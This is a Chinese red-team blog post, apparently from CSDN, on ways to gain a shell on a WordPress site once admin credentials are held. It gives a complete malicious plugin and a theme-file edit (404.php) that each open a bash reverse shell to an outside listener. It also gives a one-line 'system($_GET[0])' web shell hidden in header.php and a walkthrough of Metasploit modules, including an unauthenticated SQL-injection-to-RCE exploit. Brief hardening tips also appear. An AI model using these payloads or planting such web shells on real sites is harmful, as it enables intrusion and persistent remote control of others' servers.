// 红队渗透 · 2024-12-29

WordPress 进入后台获取shell的几种姿势(wordpress getshell)

🍬 写在前面

👨‍🎓 博主介绍:大家好,我是 vortex5 ,很高兴认识大家 ➤ 主页传送门

✨主攻领域:【网络安全】【渗透领域】【SRC挖掘】【靶场复现】 📝欢迎大家关注我的 vx 公.众.号:飓风瞭望 🎉如果本文对您有所帮助,请点赞➕评论➕收藏 一键三连😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步 🙏作者水平有限,欢迎各位大佬指点,相互学习进步呀~

在这里插入图片描述

WordPress是一个广泛使用且生态庞大的博客系统,因此在靶场中出现的频率也比较高。本文记录一下当获取wordpress登录凭证后,获取shell的几种姿势和方法。


1. 搜索利用nday漏洞

使用 Searchsploit 或 Google 搜索漏洞

  1. 确定目标 WordPress 版本及已安装的插件。
  2. 通过 Searchsploit 检索相关漏洞:
    searchsploit wordpress version_or_plugin_name
  3. 或使用 Google 搜索漏洞,关键词示例如下:
    "wordpress version_or_plugin_name vulnerability exploit"

查找到漏洞后,利用对应的 exploit 向目标站点发起攻击,获取目标站点的 shell。


2. 利用后台上传插件

一旦获取有效的管理员凭据,可以通过后台上传恶意插件以执行代码。以下是步骤:

插件代码示例

创建一个简单的反弹 Shell 插件(revshell.php):

<?php
/**
 * Plugin Name: Reverse Shell Plugin
 * Plugin URI: 
 * Description: Reverse Shell Plugin for penetration testing.
 * Version: 1.0
 * Author: Security Analyst
 * Author URI: http://www.example.com
 */
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'");
?>

打包插件

将 PHP 文件打包成 .zip 格式:

zip revshell.zip revshell.php

上传并激活插件

  1. 登录 WordPress 管理后台。
  2. 导航至“插件”页面,选择“上传插件”。
  3. 上传 revshell.zip 并激活。

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

一旦插件被激活,反向 Shell 将通过 PHP exec() 函数触发,攻击者的机器将会收到一个连接。

在这里插入图片描述

防御措施

如果网站不需要通过后台直接上传插件,建议完全禁用插件上传功能。在 wp-config.php 文件中添加以下代码禁止插件上传:

define('DISALLOW_FILE_MODS', true);

这样,管理员将无法在 WordPress 后台上传或安装新插件。


3. 修改主题代码

如果无法上传插件,也可以通过修改 WordPress 主题文件来注入恶意代码。

我们通常会选择修改 404.php 文件以植入恶意代码,因为这样最方便,只需要通过访问特定的不存在 URL 就可以触发反向 Shell。

需要注意的是:在这种路由结构(如 /wordpress/index.php/2021/04/21/123)中,随意修改 URL(例如 /wordpress/index.php/随便改动)才能触发 WordPress 的错误页面,而直接访问类似 /sdafsadf 这样的路径只会引发中间件的 “Not Found” 响应。

具体步骤如下:

  1. 导航至后台的“外观” -> “主题文件编辑器”。

  2. 修改目标主题的 404.php 文件,插入以下代码:

    <?php
    exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'");
    ?>

    或者直接全选,替换为kali自带的webshell。 编辑代码操作示例

  3. 保存更改后,通过访问以下 URL 或者不存在的页面触发:

    http://target/wp-content/themes/twentysixteen/404.php

还有一个文件网上很少有人提及,那就是 header.php 文件(主题页眉文件)。这个文件几乎在所有页面都会被加载,因此是一种更隐蔽的方式来执行恶意代码。

比如我选择在 header.php 文件的 <?php 标签后插入以下代码:

system($_GET[0]);

在这里插入图片描述

这样,攻击者可以通过任意页面直接执行系统命令,如下图:

在这里插入图片描述

其他可修改的文件

除了 404.php 和 header.php,攻击者还可能利用以下文件进行代码注入:

  • functions.php:此文件可用于添加恶意的 wp_footer 或 wp_head 钩子,在整个站点范围执行代码。
  • single.php 或 page.php:可用于在特定的文章或页面中触发恶意代码。
  • index.php:首页文件,适用于广泛的代码执行。

防御措施

为了防止攻击者利用这些手法,管理员可以采取以下措施:

  • 禁用主题编辑器:在 wp-config.php 文件中添加:
    define('DISALLOW_FILE_EDIT', true);
  • 限制文件权限:确保 wp-content/themes/ 目录下的文件不可被直接修改:
    chmod -R 444 wp-content/themes/

4. 利用 MSF 攻击模块直接获取

Metasploit 框架提供了多种专用模块,可用于针对 WordPress 的渗透测试。以下是一些关键模块的介绍:

1. WordPress 管理员插件上传模块

该模块利用已获取的管理员权限,通过上传包含恶意负载的插件来控制目标系统。

模块名称: exploit/unix/webapp/wp_admin_shell_upload

使用步骤:

  1. 设置模块选项:

    • RHOSTS:目标主机的 IP 地址或域名。
    • TARGETURI:WordPress 的安装路径,默认为 /。
    • USERNAME:WordPress 管理员用户名。
    • PASSWORD:WordPress 管理员密码。
  2. 选择有效载荷:

    • php/meterpreter_reverse_tcp:常用的 PHP 反向连接 Meterpreter 负载。
    • 设置 LHOST(攻击者的监听地址)和 LPORT(攻击者的监听端口)。
  3. 执行模块:

    • 运行模块后,Metasploit 将生成一个包含恶意负载的插件,并将其上传到目标 WordPress 站点。
    • 成功上传并激活插件后,攻击者将获得目标系统的控制权。

参考资料:

2. WordPress wp-automatic 插件 SQL 注入漏洞利用模块

该模块利用 WordPress wp-automatic 插件(版本低于 3.92.1)中的 SQL 注入漏洞,未经认证即可创建管理员账户,进而实现远程代码执行。

模块名称: exploit/multi/http/wp_automatic_sqli_to_rce

使用步骤:

  1. 设置模块选项:

    • RHOSTS:目标主机的 IP 地址或域名。
    • TARGETURI:WordPress 的安装路径,默认为 /。
    • USERNAME:要创建的管理员用户名(可选)。
    • PASSWORD:要创建的管理员密码(可选)。
    • EMAIL:要创建的管理员邮箱(可选)。
  2. 选择有效载荷:

    • php/meterpreter_reverse_tcp:常用的 PHP 反向连接 Meterpreter 负载。
    • 设置 LHOST 和 LPORT。
  3. 执行模块:

    • 模块会利用 SQL 注入漏洞创建一个具有管理员权限的用户。
    • 随后,使用该管理员账户登录,并上传包含恶意负载的插件。
    • 执行插件后,攻击者将获得系统的控制权。

参考资料:

3. WordPress 扫描器模块

该辅助模块用于检测目标 WordPress 站点的版本、已安装的主题、插件以及用户信息,有助于识别潜在的攻击面。

模块名称: auxiliary/scanner/http/wordpress_scanner

使用步骤:

  1. 设置模块选项:

    • RHOSTS:目标主机的 IP 地址或域名。
    • TARGETURI:WordPress 的安装路径,默认为 /。
  2. 执行模块:

    • 模块会扫描目标站点,收集其版本、主题、插件和用户信息。
    • 扫描结果有助于识别可能存在漏洞的组件。

参考资料:

通过使用上述模块,渗透测试人员可以有效地评估 WordPress 站点的安全性,并识别潜在的安全漏洞。


小结

以下几种方法都可以在获取 WordPress 登录凭证后有效地获得 Shell:

  • 更新已存在的代码(即主题文件)
  • 上传 ZIP 文件(即上传新插件)
  • 利用 Metasploit payload 一把梭

每种方法针对不同的环境和防御机制有不同的适用性。根据实际情况选择合适的攻击路径,可以帮助渗透测试人员更高效地获得系统访问权限。

原文 https://blog.csdn.net/2301_79518550/article/details/144808291